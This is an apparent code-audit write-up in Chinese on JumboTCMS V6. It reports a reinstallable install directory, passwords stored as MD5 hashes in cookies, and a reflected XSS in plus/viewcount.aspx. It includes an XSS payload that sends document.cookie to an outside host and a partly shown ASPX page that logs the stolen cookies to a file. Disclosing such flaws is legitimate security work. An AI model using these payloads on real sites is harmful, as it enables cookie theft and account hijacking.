将博CMS(JumboTCMS)_V6代码审计总结 - 网站安全

将博CMS(JumboTCMS)_V6代码审计总结 - 网站安全 - 自学

来源：自学PHP网时间：2015-04-17 11:59 作者：阅读:次

[导读] Author：鄙人学的软件测试专业，最近学校准备上这方面的课程了，于是想先找套ASP.NET开源CMS玩玩，百度了下，看到了将博CMS，人气还挺高的，跑到官网下载了6.0最新版的，NND，安装都安...

Author：鄙人学的软件测试专业，最近学校准备上这方面的课程了，于是想先找套ASP.NET开源CMS玩玩，百度了下，看到了将博CMS，人气还挺高的，跑到官网下载了6.0最新版的，NND，安装都安装不了，反正哪都报错…真搞不懂官方是不是故意的…于是花了两天时间把程序调试好，终于能跑起来了…跑起来数据库数据都是手工插进去的…坑爹啊…程序功能看不到，只能看代码慢的很，很多东西也不好看…算了，勉强看吧…俺也是第一次接触这套程序。

本来想找着什么注入csrf什么的，代码看了一遍，没找着什么可以利用的，个人技术问题吧。

一、安装完没提示或自动删除安装文件

安装完成后未提示或自动删除install目录文件，

直接访问http://seay.sinaapp.com/install/default.aspx可直接重新安装程序，

二、Cookie保存用户名密码

Cookie东西有点多,

id=2&name=ss123&nickname=ss123&password=e10adc3949ba59abbe56e057f20f883e&email=1160549384%40qq.com&groupid=1&groupname=%e4%b8%b4%e6%97%b6%e7%94%a8%e6%88%b7&setting=1%2c1%2c1%2c0%7c23%2c1%2c10%2c10%2c1%2c0%2c1%2c1%2c5%2c1%2c1%2c5%2c1%2c1%2c5%2c&cookies=c42071141

密码都保存在里面了，配合下面的XSS

三、统计插件XSS漏洞：

先看代码：

string _channeltype = q(“cType”);

取到值，之后赋给_viewnum；最后转成javascript输出…直接XSS，

验证

http://seay.sinaapp.com//plus/viewcount.aspx?ccid=13&cType=article<script>alert(/1/)</script)

取cookie

http://seay.sinaapp.com/plus/viewcount.aspx?ccid=13&cType=article<script>document.location=’ http://seay.sinaapp.com/1.aspx?id=’+document.cookie</script>

顺便写了个aspx接收cookice值的

<%@ Page Language=”C#” AutoEventWireup=”true” %>

<%@import Namespace=”System.IO”%>

protected void Page_Load(object sender, EventArgs e)

{

string str = Request["id"];

str = System.Web.HttpUtility.UrlDecode(str);

StreamWriter sw = null;

string path = Server.MapPath(“~/”)+ “seay.txt”;

sw = new StreamWriter(path,true,new UTF8Encoding());

sw.Write(“————Cookie值：” +str+”————\n\b”);

sw.Close();